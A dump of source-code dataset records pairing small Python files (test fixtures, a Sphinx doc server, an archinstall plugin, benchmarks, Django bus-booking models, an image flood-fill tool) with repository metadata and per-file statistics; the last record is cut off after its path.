0.25
false
0
0.25
0
0.75
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
a4d9167372fd4f933a82a1fee41baeab560eb279
1,012
py
Python
bfassist/standalone/monitoring/realtimecheckpoint.py
SanHime/bfassist
f4870189a54373487064897ad0d5bf46ae9d97f8
[ "Apache-2.0" ]
1
2021-07-09T14:40:14.000Z
2021-07-09T14:40:14.000Z
bfassist/standalone/monitoring/realtimecheckpoint.py
SanHime/bfassist
f4870189a54373487064897ad0d5bf46ae9d97f8
[ "Apache-2.0" ]
null
null
null
bfassist/standalone/monitoring/realtimecheckpoint.py
SanHime/bfassist
f4870189a54373487064897ad0d5bf46ae9d97f8
[ "Apache-2.0" ]
null
null
null
############################################################################# # # # Module of BFA that manages server statistics in realtime # # ############################################################################# """ This module implements the real-time logging of in-game statistics specifically for one current bf checkpoint. Dependencies: None note:: Author(s): Mitch last-check: 08.07.2021 """ # noinspection PyUnusedLocal def __preload__(forClient: bool = True): pass # noinspection PyUnusedLocal def __postload__(forClient: bool = True): pass class RealTimeCP: """ A control point that exists on a map can have a corresponding real time control point to track it. :param Id: Refractor id of this control point. :param team: Team the control point is currently controlled by. note:: Author(s): Mitch, henk """ def __init__(self, Id: int = None, team: int = None): self.Id = Id self.team = team
26.631579
114
0.560277
112
1,012
4.955357
0.607143
0.086486
0.03964
0.057658
0
0
0
0
0
0
0
0.010127
0.219368
1,012
37
115
27.351351
0.692405
0.550395
0
0.25
0
0
0
0
0
0
0
0
0
1
0.375
false
0.25
0
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
a4dade425c95d9b111ad44e99a5db732bfa49c43
1,592
py
Python
project/tests/fixtures/fixture_data.py
hlystovea/resource_planner
5ddbef31004a7e50201e1d414152a8090d1b0caf
[ "MIT" ]
null
null
null
project/tests/fixtures/fixture_data.py
hlystovea/resource_planner
5ddbef31004a7e50201e1d414152a8090d1b0caf
[ "MIT" ]
null
null
null
project/tests/fixtures/fixture_data.py
hlystovea/resource_planner
5ddbef31004a7e50201e1d414152a8090d1b0caf
[ "MIT" ]
null
null
null
import pytest import tempfile @pytest.fixture def post(user): from posts.models import Post image = tempfile.NamedTemporaryFile(suffix=".jpg").name return Post.objects.create(text='Тестовый пост 1', author=user, image=image) @pytest.fixture def group(): from posts.models import Group return Group.objects.create(title='Тестовая группа 1', slug='test-link', description='Тестовое описание группы') @pytest.fixture def post_with_group(user, group): from posts.models import Post image = tempfile.NamedTemporaryFile(suffix=".jpg").name return Post.objects.create(text='Тестовый пост 2', author=user, group=group, image=image) @pytest.fixture def storage_1(): from warehouse.models import Storage return Storage.objects.create(name='storage_1') @pytest.fixture def storage_2(): from warehouse.models import Storage return Storage.objects.create(name='storage_2') @pytest.fixture def material(): from warehouse.models import Material return Material.objects.create(name='material') @pytest.fixture def instrument(): from warehouse.models import Instrument return Instrument.objects.create(name='instrument') @pytest.fixture def material_in_storage_1(material, storage_1): from warehouse.models import MaterialStorage return MaterialStorage.objects.create(material=material, storage=storage_1, amount=2) @pytest.fixture def material_in_storage_2(material, storage_2): from warehouse.models import MaterialStorage return MaterialStorage.objects.create(material=material, storage=storage_2, amount=4)
26.983051
116
0.766332
205
1,592
5.873171
0.214634
0.097176
0.119601
0.124585
0.638704
0.548173
0.466777
0.466777
0.466777
0.466777
0
0.010862
0.132538
1,592
58
117
27.448276
0.86097
0
0
0.425
0
0
0.077889
0
0
0
0
0
0
1
0.225
false
0
0.275
0
0.725
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
a4eac09718b988218fe43f31996cb5b72933482b
687
py
Python
sphinxviewer/main.py
badisa/sphinx-viewer
484c74f9f407aa6bb36fb95dfd1f3a56e1942dfe
[ "MIT" ]
null
null
null
sphinxviewer/main.py
badisa/sphinx-viewer
484c74f9f407aa6bb36fb95dfd1f3a56e1942dfe
[ "MIT" ]
null
null
null
sphinxviewer/main.py
badisa/sphinx-viewer
484c74f9f407aa6bb36fb95dfd1f3a56e1942dfe
[ "MIT" ]
null
null
null
import os import sys from argparse import ArgumentParser from sphinxviewer.sphinx import build_html from sphinxviewer.server import serve_server def main(): parser = ArgumentParser(description="Live editing sphinx doc server") # parser.add_argument("-p", "--port", default=8888, help="Port to run server on") # parser.add_argument("-d", "--build-dir", default="_build", help="Build directory") _ = parser.parse_args() print("Building initial docs") # TODO Parameterize source and build directories. Currently follows # the defaults for sphinx. success = build_html(os.getcwd(), "_build") if not success: sys.exit(1) serve_server(8888)
31.227273
88
0.71179
88
687
5.443182
0.613636
0.066806
0.070981
0
0
0
0
0
0
0
0
0.015901
0.176128
687
21
89
32.714286
0.830389
0.368268
0
0
0
0
0.132867
0
0
0
0
0.047619
0
1
0.076923
false
0
0.384615
0
0.461538
0.076923
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
1
0
0
0
0
2
a4f36624a0ebfb5fad3f19befd7baacdcb07a66d
4,703
py
Python
tests/test_plat_win.py
juliangilbey/send2trash
2eb3242cd9c646174d88e71e4a5dd503f5001c94
[ "BSD-3-Clause" ]
null
null
null
tests/test_plat_win.py
juliangilbey/send2trash
2eb3242cd9c646174d88e71e4a5dd503f5001c94
[ "BSD-3-Clause" ]
null
null
null
tests/test_plat_win.py
juliangilbey/send2trash
2eb3242cd9c646174d88e71e4a5dd503f5001c94
[ "BSD-3-Clause" ]
null
null
null
# coding: utf-8 import os import shutil import sys import unittest from os import path as op from tempfile import gettempdir from send2trash import send2trash as s2t # import the two versions as well as the "automatic" version from send2trash.plat_win_modern import send2trash as s2t_modern from send2trash.plat_win_legacy import send2trash as s2t_legacy @unittest.skipIf(sys.platform != "win32", "Windows only") class TestNormal(unittest.TestCase): def setUp(self): self.dirname = "\\\\?\\" + op.join(gettempdir(), "python.send2trash") self.file = op.join(self.dirname, "testfile.txt") self._create_tree(self.file) self.files = [ op.join(self.dirname, "testfile{}.txt".format(index)) for index in range(10) ] [self._create_tree(file) for file in self.files] def tearDown(self): shutil.rmtree(self.dirname, ignore_errors=True) def _create_tree(self, path): dirname = op.dirname(path) if not op.isdir(dirname): os.makedirs(dirname) with open(path, "w") as writer: writer.write("send2trash test") def _trash_file(self, fcn): fcn(self.file) self.assertFalse(op.exists(self.file)) def _trash_multifile(self, fcn): fcn(self.files) self.assertFalse(any([op.exists(file) for file in self.files])) def _file_not_found(self, fcn): file = op.join(self.dirname, "otherfile.txt") self.assertRaises(WindowsError, fcn, file) def test_trash_file(self): self._trash_file(s2t) def test_trash_multifile(self): self._trash_multifile(s2t) def test_file_not_found(self): self._file_not_found(s2t) def test_trash_file_modern(self): self._trash_file(s2t_modern) def test_trash_multifile_modern(self): self._trash_multifile(s2t_modern) def test_file_not_found_modern(self): self._file_not_found(s2t_modern) def test_trash_file_legacy(self): self._trash_file(s2t_legacy) def test_trash_multifile_legacy(self): self._trash_multifile(s2t_legacy) def test_file_not_found_legacy(self): self._file_not_found(s2t_legacy) @unittest.skipIf(sys.platform != "win32", "Windows only") class TestLongPath(unittest.TestCase): def setUp(self): self.functions = {s2t: "auto", s2t_legacy: "legacy", s2t_modern: "modern"} filename = "A" * 100 self.dirname = "\\\\?\\" + op.join(gettempdir(), filename) path = op.join( self.dirname, filename, filename, # From there, the path is not trashable from Explorer filename, filename + "{}.txt", ) self.file = path.format("") self._create_tree(self.file) self.files = [path.format(index) for index in range(10)] [self._create_tree(file) for file in self.files] def tearDown(self): shutil.rmtree(self.dirname, ignore_errors=True) def _create_tree(self, path): dirname = op.dirname(path) if not op.isdir(dirname): os.makedirs(dirname) with open(path, "w") as writer: writer.write("Looong filename!") def _trash_file(self, fcn): fcn(self.file) self.assertFalse(op.exists(self.file)) def _trash_multifile(self, fcn): fcn(self.files) self.assertFalse(any([op.exists(file) for file in self.files])) def _trash_folder(self, fcn): fcn(self.dirname) self.assertFalse(op.exists(self.dirname)) def test_trash_file(self): self._trash_file(s2t) def test_trash_multifile(self): self._trash_multifile(s2t) @unittest.skipIf( op.splitdrive(os.getcwd())[0] != op.splitdrive(gettempdir())[0], "Cannot trash long path from other drive", ) def test_trash_folder(self): self._trash_folder(s2t) def test_trash_file_modern(self): self._trash_file(s2t_modern) def test_trash_multifile_modern(self): self._trash_multifile(s2t_modern) @unittest.skipIf( op.splitdrive(os.getcwd())[0] != op.splitdrive(gettempdir())[0], "Cannot trash long path from other drive", ) def test_trash_folder_modern(self): self._trash_folder(s2t_modern) def test_trash_file_legacy(self): self._trash_file(s2t_legacy) def test_trash_multifile_legacy(self): self._trash_multifile(s2t_legacy) @unittest.skipIf( op.splitdrive(os.getcwd())[0] != op.splitdrive(gettempdir())[0], "Cannot trash long path from other drive", ) def test_trash_folder_legacy(self): self._trash_folder(s2t_legacy)
30.341935
88
0.652775
613
4,703
4.784666
0.156607
0.054552
0.061371
0.032731
0.770542
0.695875
0.634504
0.613365
0.613365
0.613365
0
0.013862
0.233043
4,703
154
89
30.538961
0.799279
0.026366
0
0.59322
0
0
0.060546
0
0
0
0
0
0.050847
1
0.254237
false
0
0.076271
0
0.347458
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
a4f8e8179ce401a6630d257843d17f4bc8c551d3
212
py
Python
setup.py
hainegroup/Polar-overturning-circulation-model
8cd67271b038d09ce29492c3d201a24698d2e970
[ "MIT" ]
3
2020-06-28T15:47:02.000Z
2021-02-14T19:25:13.000Z
setup.py
hainegroup/Polar-overturning-circulation-model
8cd67271b038d09ce29492c3d201a24698d2e970
[ "MIT" ]
null
null
null
setup.py
hainegroup/Polar-overturning-circulation-model
8cd67271b038d09ce29492c3d201a24698d2e970
[ "MIT" ]
null
null
null
from setuptools import find_packages, setup setup( name='src', packages=find_packages(), version='0.1.0', description='POC model for publication', author='Thomas Haine', license='MIT', )
19.272727
44
0.665094
26
212
5.346154
0.807692
0.172662
0
0
0
0
0
0
0
0
0
0.017647
0.198113
212
10
45
21.2
0.8
0
0
0
0
0
0.226415
0
0
0
0
0
0
1
0
true
0
0.111111
0
0.111111
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
a4facbc09faf96725436ab1390e2089d932160c8
2,577
py
Python
archinstall-variants.py
phisch/archinstall-variants
f9575c14316aff66c6d3b9b35fca09509afeb51b
[ "MIT" ]
3
2021-06-08T16:01:23.000Z
2021-11-14T00:49:36.000Z
archinstall-variants.py
phisch/archinstall-variants
f9575c14316aff66c6d3b9b35fca09509afeb51b
[ "MIT" ]
null
null
null
archinstall-variants.py
phisch/archinstall-variants
f9575c14316aff66c6d3b9b35fca09509afeb51b
[ "MIT" ]
null
null
null
import logging import archinstall __version__ = 0.1 class Plugin: VARIANTS_DICT_KEY = "variants" VARIANT_KEY = "variant" def __init__(self): if self.has_variants() and self.variants_is_dict(): variant_key = self.get_selected_variant_key() variant = archinstall.arguments[self.VARIANTS_DICT_KEY][variant_key] self.apply_variant(variant) self.clean_arguments() archinstall.log( f"The '{ variant_key }' variant was applied to the arguments.", level=logging.INFO ) archinstall.log( "New arguments: " + archinstall.arguments.__str__(), level=logging.DEBUG ) def variants_is_dict(self) -> bool: return isinstance(self.get_variants(), dict) def has_variant_argument(self) -> bool: return self.VARIANT_KEY in archinstall.arguments and \ isinstance(self.get_variant_argument(), str) def get_variant_argument(self) -> str: return archinstall.arguments[self.VARIANT_KEY] def variant_argument_in_variants(self) -> bool: return self.get_variant_argument() in self.get_variants() def get_variants(self) -> dict: return archinstall.arguments[self.VARIANTS_DICT_KEY] def has_variants(self) -> bool: return self.VARIANTS_DICT_KEY in archinstall.arguments def variant_exists(self, variant: str) -> bool: return variant in self.get_variants() def get_selected_variant_key(self) -> str: options = list(self.get_variants().keys()) if self.has_variant_argument() and self.variant_argument_in_variants(): return self.get_variant_argument() if len(options) > 1: return archinstall.generic_select( options, f"Select which variant you want to install (default: {options[0]}):", True ) or options[0] return options[0] def apply_variant(self, variant: dict): for option in variant: if option in archinstall.arguments: if isinstance(archinstall.arguments[option], list): archinstall.arguments[option] += variant[option] continue self.overwrite(option, variant[option]) def clean_arguments(self): del archinstall.arguments[self.VARIANTS_DICT_KEY] del archinstall.arguments[self.VARIANT_KEY] def overwrite(self, key: str, value): archinstall.arguments[key] = value
32.620253
85
0.631354
289
2,577
5.387543
0.207612
0.154143
0.04817
0.048812
0.215157
0.152216
0
0
0
0
0
0.003231
0.279395
2,577
78
86
33.038462
0.835218
0
0
0.034483
0
0
0.059759
0
0
0
0
0
0
1
0.206897
false
0
0.034483
0.12069
0.465517
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
352a8ae5a17ad0bab619623a2f26962525fde757
4,570
py
Python
NeodymiumDotNet.Benchmark.Numpy/SimpleCalculationBenchmark.py
aka-nd1220/NeodymiumDotNet
cbb105af6835f450767383f3ee505e9e5af50bcc
[ "Apache-2.0" ]
null
null
null
NeodymiumDotNet.Benchmark.Numpy/SimpleCalculationBenchmark.py
aka-nd1220/NeodymiumDotNet
cbb105af6835f450767383f3ee505e9e5af50bcc
[ "Apache-2.0" ]
null
null
null
NeodymiumDotNet.Benchmark.Numpy/SimpleCalculationBenchmark.py
aka-nd1220/NeodymiumDotNet
cbb105af6835f450767383f3ee505e9e5af50bcc
[ "Apache-2.0" ]
1
2021-09-06T07:53:25.000Z
2021-09-06T07:53:25.000Z
#!/usr/bin/env python3 import numpy as np import numpy.random as npr import pytest A1 = npr.rand( 1, 1) B1 = npr.rand( 1, 1) C1 = npr.rand( 1, 1) A3 = npr.rand( 3, 3) B3 = npr.rand( 3, 3) C3 = npr.rand( 3, 3) A10 = npr.rand( 10, 10) B10 = npr.rand( 10, 10) C10 = npr.rand( 10, 10) A30 = npr.rand( 30, 30) B30 = npr.rand( 30, 30) C30 = npr.rand( 30, 30) A100 = npr.rand( 100, 100) B100 = npr.rand( 100, 100) C100 = npr.rand( 100, 100) A300 = npr.rand( 300, 300) B300 = npr.rand( 300, 300) C300 = npr.rand( 300, 300) A1000 = npr.rand(1000, 1000) B1000 = npr.rand(1000, 1000) C1000 = npr.rand(1000, 1000) A3000 = npr.rand(3000, 3000) B3000 = npr.rand(3000, 3000) C3000 = npr.rand(3000, 3000) NC_A1 = list(A1 .flatten()) NC_B1 = list(B1 .flatten()) NC_C1 = list(C1 .flatten()) NC_A3 = list(A3 .flatten()) NC_B3 = list(B3 .flatten()) NC_C3 = list(C3 .flatten()) NC_A10 = list(A10 .flatten()) NC_B10 = list(B10 .flatten()) NC_C10 = list(C10 .flatten()) NC_A30 = list(A30 .flatten()) NC_B30 = list(B30 .flatten()) NC_C30 = list(C30 .flatten()) NC_A100 = list(A100 .flatten()) NC_B100 = list(B100 .flatten()) NC_C100 = list(C100 .flatten()) NC_A300 = list(A300 .flatten()) NC_B300 = list(B300 .flatten()) NC_C300 = list(C300 .flatten()) NC_A1000 = list(A1000.flatten()) NC_B1000 = list(B1000.flatten()) NC_C1000 = list(C1000.flatten()) NC_A3000 = list(A3000.flatten()) NC_B3000 = list(B3000.flatten()) NC_C3000 = list(C3000.flatten()) def add_numpy_core(a: np.ndarray, b: np.ndarray, c: np.ndarray) -> np.ndarray: return a + b + c def add_simple_core(a: list, b: list, c: list) -> list: retval = [0.0] * len(a) for i in range(len(a)): retval[i] = a[i] + b[i] + c[i] return retval def add_numpy_1 (): return add_numpy_core(A1 , B1 , C1 ) def add_numpy_3 (): return add_numpy_core(A3 , B3 , C3 ) def add_numpy_10 (): return add_numpy_core(A10 , B10 , C10 ) def add_numpy_30 (): return add_numpy_core(A30 , B30 , C30 ) def add_numpy_100 (): return add_numpy_core(A100 , B100 , C100 ) def add_numpy_300 (): return add_numpy_core(A300 , B300 , C300 ) def add_numpy_1000(): return add_numpy_core(A1000, B1000, C1000) def add_numpy_3000(): return add_numpy_core(A3000, B3000, C3000) def add_simple_1 (): return add_simple_core(A1 , B1 , C1 ) def add_simple_3 (): return add_simple_core(A3 , B3 , C3 ) def add_simple_10 (): return add_simple_core(A10 , B10 , C10 ) def add_simple_30 (): return add_simple_core(A30 , B30 , C30 ) def add_simple_100 (): return add_simple_core(A100 , B100 , C100 ) def add_simple_300 (): return add_simple_core(A300 , B300 , C300 ) def add_simple_1000(): return add_simple_core(A1000, B1000, C1000) def add_simple_3000(): return add_simple_core(A3000, B3000, C3000) def test_add_numpy_1 (benchmark): benchmark.pedantic(add_numpy_1 , rounds=256, iterations=16) def test_add_numpy_3 (benchmark): benchmark.pedantic(add_numpy_3 , rounds=256, iterations=16) def test_add_numpy_10 (benchmark): benchmark.pedantic(add_numpy_10 , rounds=256, iterations=16) def test_add_numpy_30 (benchmark): benchmark.pedantic(add_numpy_30 , rounds=256, iterations=16) def test_add_numpy_100 (benchmark): benchmark.pedantic(add_numpy_100 , rounds=256, iterations=16) def test_add_numpy_300 (benchmark): benchmark.pedantic(add_numpy_300 , rounds=256, iterations=16) def test_add_numpy_1000 (benchmark): benchmark.pedantic(add_numpy_1000 , rounds=256, iterations=16) def test_add_numpy_3000 (benchmark): benchmark.pedantic(add_numpy_3000 , rounds=256, iterations=16) def test_add_simple_1 (benchmark): benchmark.pedantic(add_simple_1 , rounds=256, iterations=16) def test_add_simple_3 (benchmark): benchmark.pedantic(add_simple_3 , rounds=256, iterations=16) def test_add_simple_10 (benchmark): benchmark.pedantic(add_simple_10 , rounds=256, iterations=16) def test_add_simple_30 (benchmark): benchmark.pedantic(add_simple_30 , rounds=256, iterations=16) def test_add_simple_100 (benchmark): benchmark.pedantic(add_simple_100 , rounds=256, iterations=16) def test_add_simple_300 (benchmark): benchmark.pedantic(add_simple_300 , rounds=256, iterations=16) def test_add_simple_1000(benchmark): benchmark.pedantic(add_simple_1000, rounds=256, iterations=16) def test_add_simple_3000(benchmark): benchmark.pedantic(add_simple_3000, rounds=256, iterations=16) if __name__ == "__main__": pytest.main(['-v', __file__])
42.71028
99
0.695842
729
4,570
4.109739
0.102881
0.088117
0.053405
0.154873
0.508344
0.286382
0.193591
0.193591
0
0
0
0.164597
0.171772
4,570
106
100
43.113208
0.626948
0.004595
0
0
0
0
0.002199
0
0
0
0
0
0
1
0.369565
false
0
0.032609
0.184783
0.423913
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
353078a42c25216e1cef61978c7cbdf901484947
2,658
py
Python
tests/test_surrogates.py
scott-trinkle/braingraphgeo
990c4956acf8fe56f9bdb8871c265c4ea28da9a9
[ "MIT" ]
null
null
null
tests/test_surrogates.py
scott-trinkle/braingraphgeo
990c4956acf8fe56f9bdb8871c265c4ea28da9a9
[ "MIT" ]
null
null
null
tests/test_surrogates.py
scott-trinkle/braingraphgeo
990c4956acf8fe56f9bdb8871c265c4ea28da9a9
[ "MIT" ]
null
null
null
import numpy as np from numpy.testing import assert_array_equal, assert_array_almost_equal from context import braingraphgeo as bgg def test_geomsurr(sample_W_1, sample_D): W = sample_W_1.values d = sample_D.values Wgeo = bgg.surrogates.geomsurr(W, d, rs=2021) result = np.array([[0., 0.00072248, 0.00041477, 0.00033229, 0.00117053, 0.00055464, 0.00036433, 0.00056055], [0.00072248, 0., 0.00057277, 0.0002278, 0.00030153, 0.00046146, 0.00016146, 0.00036927], [0.00041477, 0.00057277, 0., 0.00048042, 0.00045515, 0.00033993, 0.00037418, 0.00065622], [0.00033229, 0.0002278, 0.00048042, 0., 0.000422, 0.00063961, 0.00049343, 0.00052139], [0.00117053, 0.00030153, 0.00045515, 0.000422, 0., 0.00067446, 0.00056217, 0.00054075], [0.00055464, 0.00046146, 0.00033993, 0.00063961, 0.00067446, 0., 0.00050643, 0.00012118], [0.00036433, 0.00016146, 0.00037418, 0.00049343, 0.00056217, 0.00050643, 0., 0.00035025], [0.00056055, 0.00036927, 0.00065622, 0.00052139, 0.00054075, 0.00012118, 0.00035025, 0.]]) assert_array_almost_equal(Wgeo, result) def test_randomsurr(sample_W_1): W = sample_W_1.values Wrand = bgg.surrogates.randomsurr(W, rs=2021) result = np.array([[0., 0.00051785, 0.00048846, 0.00030557, 0.0009939, 0.00062903, 0.00050726, 0.0006635], [0.00051785, 0., 0.00062675, 0.00057998, 0.00049284, 0.00040059, 0.00016569, 0.00032815], [0.00048846, 0.00062675, 0., 0.00049396, 0.00038688, 0.00012943, 0.00028872, 0.00041774], [0.00030557, 0.00057998, 0.00049396, 0., 0.00045934, 0.00066296, 0.00040632, 0.00036962], [0.0009939, 0.00049284, 0.00038688, 0.00045934, 0., 0.00052429, 0.0005764, 0.00069369], [0.00062903, 0.00040059, 0.00012943, 0.00066296, 0.00052429, 0., 0.00041742, 0.00037452], [0.00050726, 0.00016569, 0.00028872, 0.00040632, 0.0005764, 0.00041742, 0., 0.00045061], [0.0006635, 0.00032815, 0.00041774, 0.00036962, 0.00069369, 0.00037452, 0.00045061, 0.]]) assert_array_almost_equal(Wrand, result)
53.16
83
0.52784
322
2,658
4.285714
0.263975
0.02029
0.023188
0.047826
0.085507
0.030435
0.030435
0
0
0
0
0.589522
0.346501
2,658
49
84
54.244898
0.204951
0
0
0.045455
0
0
0
0
0
0
0
0
0.068182
1
0.045455
false
0
0.068182
0
0.113636
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
3535c2f41fec283317a2615b85df36199539b828
163
py
Python
kafka/test/consume.py
nicovillanueva/docker-kafka
a3f229e9ebe28c947efe2be22bb88e54338c86e7
[ "Apache-2.0" ]
null
null
null
kafka/test/consume.py
nicovillanueva/docker-kafka
a3f229e9ebe28c947efe2be22bb88e54338c86e7
[ "Apache-2.0" ]
null
null
null
kafka/test/consume.py
nicovillanueva/docker-kafka
a3f229e9ebe28c947efe2be22bb88e54338c86e7
[ "Apache-2.0" ]
null
null
null
from kafka import KafkaConsumer consumer = KafkaConsumer('test-topic', bootstrap_servers='localhost:9092') print("listening") for msg in consumer: print(msg)
23.285714
74
0.773006
20
163
6.25
0.8
0
0
0
0
0
0
0
0
0
0
0.027778
0.116564
163
6
75
27.166667
0.840278
0
0
0
0
0
0.202454
0
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0.4
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
3542ab8dbb20886a361a27ff5789ccca3ada3441
1,224
py
Python
py2450/misc.py
sveinrou/py2450
195a649efd282b15b60ee0e3184d096afce5e311
[ "MIT" ]
null
null
null
py2450/misc.py
sveinrou/py2450
195a649efd282b15b60ee0e3184d096afce5e311
[ "MIT" ]
null
null
null
py2450/misc.py
sveinrou/py2450
195a649efd282b15b60ee0e3184d096afce5e311
[ "MIT" ]
null
null
null
import pyvisa def find_instruments(): rm = pyvisa.ResourceManager() instruments = rm.list_resources() return {'usb':[i for i in instruments if 'USB' in i], 'gpib':[i for i in instruments if 'GPIB' in i], 'serial':[i for i in instruments if 'ASRL' in i]} def play_star_wars(smu): c, d, e, f, g, a, b, c5, d5, e5, f5, g5, pause = 262, 294, 330, 349, 392, 440, 494, 523, 587, 659, 689, 783, 0 TAB_DURATION = 1 star_wars = ( (1, c), (1, g), (1/6, f), (1/6, e), (1/6, d), (1, c5), (1/2, g), (1/6, f), (1/6, e), (1/6, d), (1, c5), (1/2, g), (1/6, f), (1/6, e), (1/6, f), (2, d), (1/6, c), (1/16, pause), (1/6, c), (1/16, pause), (1, c), (1, g), (1/6, f), (1/6, e), (1/6, d), (1, c5), (1/2, g), (1/6, f), (1/6, e), (1/6, d), (1, c5), (1/2, g), (1/6, f), (1/6, e), (1/6, f), (2, d), ) for duration, freq in star_wars: smu.write(f'beeper.beep({duration*TAB_DURATION}, {freq})')
22.666667
114
0.377451
192
1,224
2.364583
0.302083
0.088106
0.052863
0.052863
0.378855
0.378855
0.246696
0.198238
0.198238
0.198238
0
0.155028
0.415033
1,224
53
115
23.09434
0.47905
0
0
0.72
0
0
0.055556
0.029412
0
0
0
0
0
1
0.04
false
0
0.02
0
0.08
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
101e55aaa1d141b7b14f9e29fcdf1c97452cd043
2,600
py
Python
driverapp/models.py
gabyxbinnaeah/Bus-Booking
51d2a521f890986e4e7e17775708cec3cd71d2b4
[ "MIT" ]
null
null
null
driverapp/models.py
gabyxbinnaeah/Bus-Booking
51d2a521f890986e4e7e17775708cec3cd71d2b4
[ "MIT" ]
null
null
null
driverapp/models.py
gabyxbinnaeah/Bus-Booking
51d2a521f890986e4e7e17775708cec3cd71d2b4
[ "MIT" ]
null
null
null
from django.db import models from django.contrib.auth.models import AbstractUser # Create your models here. class Driver(models.Model): name = models.CharField(max_length=30) password = models.CharField(max_length=30) email = models.EmailField() Contact = models.CharField(max_length=10) def save_driver(self): self.save() def delete_driver(self): self.delete() @classmethod def update_driver(self): driver=Driver.objects.get_or_create() return driver def _str_(self): return self.email class Bus(models.Model): bus_name = models.CharField(max_length=30) source= models.CharField(max_length=30) destination = models.CharField(max_length=30) nos = models.IntegerField(default=0) rem = models.CharField(null=True, max_length=5,blank=True) fare = models.CharField(null=True, max_length=6) date = models.DateField() time = models.TimeField() name = models.CharField(max_length=30,null=True) password = models.CharField(max_length=30,null=True) email = models.EmailField(null=True) Contact = models.CharField(max_length=10,null=True) @classmethod def search_buses(cls, source, destination): return cls.objects.filter(source__icontains=source , destination__icontains=destination).all() def bus_details(cls): bus_details_list=cls.objects.all() return bus_details_list def save_bus(self): self.save() def delete_bus(self): self.delete() @classmethod def update_bus(self): bus=Bus.objects.get_or_create() return bus def _str_(self): return self.bus_name class Book(models.Model): BOOKED = 'B' CANCELLED = 'C' TICKET_STATUSES = ((BOOKED, 'Booked'), (CANCELLED, 'Cancelled'),) email = models.EmailField() name = models.CharField(max_length=30) userid =models.ForeignKey(Driver,null=True,on_delete=models.CASCADE) busid=models.ForeignKey(Bus, null=True,on_delete=models.CASCADE, related_name='bus_id') source = models.CharField(max_length=30) destination = models.CharField(max_length=30,null=True ,blank=True) seat_no = models.CharField(max_length=30,null=True) fare = models.CharField(null=True, max_length=6) date = models.DateField() time = models.TimeField() status = models.CharField(choices=TICKET_STATUSES, default=BOOKED, max_length=2) created_at = models.DateTimeField(auto_now_add=True, null=True) def _str_(self): return self.email
29.545455
102
0.682308
330
2,600
5.209091
0.260606
0.148342
0.136126
0.181501
0.536358
0.472368
0.233857
0.172193
0.172193
0.172193
0
0.015027
0.206538
2,600
87
103
29.885057
0.818226
0.009231
0
0.369231
0
0
0.008936
0
0
0
0
0
0
1
0.169231
false
0.030769
0.030769
0.061538
0.830769
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
101f9a1a4f2942de9319c207e8d75011f9f74070
1,019
py
Python
imagepy/tools/Draw/floodfill_tol.py
adines/imagepy
d7cdf3273d25e06046626ef2ef9200b1846ea49a
[ "BSD-4-Clause" ]
1
2019-02-22T03:09:24.000Z
2019-02-22T03:09:24.000Z
imagepy/tools/Draw/floodfill_tol.py
adines/imagepy
d7cdf3273d25e06046626ef2ef9200b1846ea49a
[ "BSD-4-Clause" ]
null
null
null
imagepy/tools/Draw/floodfill_tol.py
adines/imagepy
d7cdf3273d25e06046626ef2ef9200b1846ea49a
[ "BSD-4-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Wed Oct 19 17:35:09 2016 @author: yxl """ from imagepy.core.engine import Tool import numpy as np from imagepy.core.manager import ColorManager from imagepy.core.draw.fill import floodfill class Plugin(Tool): title = 'Flood Fill' para = {'tor':10, 'con':'8-connect'} view = [(int, 'tor', (0,1000), 0, 'torlorance', 'value'), (list, 'con', ['4-connect', '8-connect'], str, 'fill', 'pix')] def mouse_down(self, ips, x, y, btn, **key): ips.snapshot() msk = floodfill(ips.img, x, y, self.para['tor'], self.para['con']=='8-connect') #plt.imshow(msk) #plt.show() color = ColorManager.get_front() if ips.get_nchannels()==1:color = np.mean(color) ips.img[msk] = color ips.update() def mouse_up(self, ips, x, y, btn, **key): pass def mouse_move(self, ips, x, y, btn, **key): pass def mouse_wheel(self, ips, x, y, d, **key): pass
26.815789
87
0.557409
145
1,019
3.875862
0.517241
0.017794
0.05694
0.064057
0.122776
0.122776
0.096085
0.096085
0.096085
0
0
0.034667
0.263984
1,019
37
88
27.540541
0.714667
0.095191
0
0.136364
0
0
0.094402
0
0
0
0
0
0
1
0.181818
false
0.136364
0.181818
0
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
10241faf582974a58757a74fbc6ec5ed03a8cff3
170
py
Python
devlivery/ext/migrate/__init__.py
